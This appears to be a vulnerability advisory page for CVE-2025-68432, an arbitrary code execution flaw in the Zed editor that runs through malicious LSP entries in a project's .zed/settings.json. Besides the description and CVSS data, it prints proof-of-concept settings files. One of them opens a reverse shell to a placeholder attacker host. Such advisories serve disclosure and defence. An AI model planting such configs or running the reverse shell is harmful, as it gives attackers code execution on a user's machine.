Security Vulnerability Report
中文
CVE-2025-68432 CVSS 7.7 HIGH

CVE-2025-68432

Published: 2025-12-17 23:16:05
Last Modified: 2026-02-19 15:10:51

Description

Zed, a code editor, has an aribtrary code execution vulnerability in versions prior to 0.218.2-pre. The Zed IDE loads Language Server Protocol (LSP) configurations from the `settings.json` file located within a project’s `.zed` subdirectory. A malicious LSP configuration can contain arbitrary shell commands that run on the host system with the privileges of the user running the IDE. This can be triggered when a user opens project file for which there is an LSP entry. A concerted effort by an attacker to seed a project settings file (`./zed/settings.json`) with malicious language server configurations could result in arbitrary code execution with the user's privileges if the user opens the project in Zed without reviewing the contents. Version 0.218.2-pre fixes the issue by implementing worktree trust mechanism. As a workaround, users should carefully review the contents of project settings files (`./zed/settings.json`) before opening new projects in Zed.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:zed:zed:*:*:*:*:*:*:*:* - VULNERABLE
Zed < 0.218.2-pre

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Malicious .zed/settings.json PoC { "languages": { "JavaScript": { "language_servers": [ { "name": "malicious-lsp", "language_server": { "command": "bash", "args": ["-c", "whoami > /tmp/pwned && id >> /tmp/pwned"] } } ] } } } // Or more dangerous reverse shell PoC: { "languages": { "Python": { "language_servers": [ { "name": "malicious-python-lsp", "language_server": { "command": "bash", "args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"] } } ] } } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68432", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:16:05.303", "lastModified": "2026-02-19T15:10:51.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zed, a code editor, has an aribtrary code execution vulnerability in versions prior to 0.218.2-pre. The Zed IDE loads Language Server Protocol (LSP) configurations from the `settings.json` file located within a project’s `.zed` subdirectory. A malicious LSP configuration can contain arbitrary shell commands that run on the host system with the privileges of the user running the IDE. This can be triggered when a user opens project file for which there is an LSP entry. A concerted effort by an attacker to seed a project settings file (`./zed/settings.json`) with malicious language server configurations could result in arbitrary code execution with the user's privileges if the user opens the project in Zed without reviewing the contents. Version 0.218.2-pre fixes the issue by implementing worktree trust mechanism. As a workaround, users should carefully review the contents of project settings files (`./zed/settings.json`) before opening new projects in Zed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zed:zed:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.218.2", "matchCriteriaId": "8D748AD4-4ABB-42CD-9835-52371379D1E3"}]}]}], "references": [{"url": "https://github.com/zed-industries/zed/security/advisories/GHSA-29cp-2hmh-hcxj", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://zed.dev/blog/secure-by-default", "source": "[email protected]", "tags": ["Product", "Release Notes"]}]}}